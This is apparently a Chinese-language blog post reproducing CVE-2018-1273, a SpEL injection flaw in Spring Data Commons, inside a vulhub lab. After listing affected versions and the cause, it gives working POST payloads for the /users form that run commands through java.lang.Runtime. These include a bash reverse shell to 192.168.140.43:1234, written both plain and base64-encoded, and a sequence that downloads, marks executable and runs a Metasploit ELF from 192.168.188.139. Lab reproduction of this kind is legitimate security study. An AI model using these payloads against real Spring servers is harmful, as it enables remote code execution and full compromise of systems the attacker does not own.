vulhub中spring的CVE-2018-1273漏洞复现

1.影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

2.漏洞原理

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令

3.具体流程

打开漏洞环境,后可以看到这个页面

vulhub中spring的CVE-2018-1273漏洞复现_第1张图片

可以利用dirb进行扫描目录,但是好像没有必要,毕竟是复现漏洞,已经知道有一个users了

打开http://192.168.188.128:8080/users可以看到这个页面

vulhub中spring的CVE-2018-1273漏洞复现_第2张图片

随便填上几个数,用burpsuiter抓包,将下面的 post方式提交的的信息用payload替换

payload

 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/111111")]=&password=&repeatedPassword=

vulhub中spring的CVE-2018-1273漏洞复现_第3张图片

可以看到这个111111已经成功创建

vulhub中spring的CVE-2018-1273漏洞复现_第4张图片

拿到shell

bash -i >& /dev/tcp/192.168.140.43/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

但是尝试之后并没有成功,利用msf生成一个elf,

vulhub中spring的CVE-2018-1273漏洞复现_第5张图片

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("weget http://192.168.188.139:1234/mshell.elf")]=&password=&repeatedPassword=

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./mshell.elf")]=&password=&repeatedPassword=

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("./mshell.elf")]=&password=&repeatedPassword=

之后就可以看到,shell已经成功反弹到msf

vulhub中spring的CVE-2018-1273漏洞复现_第6张图片

4.参考博客

msf生成linux elf木马反弹shell_msf elf_青果@的博客-CSDN博客

漏洞复现-CVE-2018-1273-Spring Data Commons 远程命令执行 - 铺哩 - 博客园 (cnblogs.com)

你可能感兴趣的:(vulhub漏洞复现,spring,java,后端)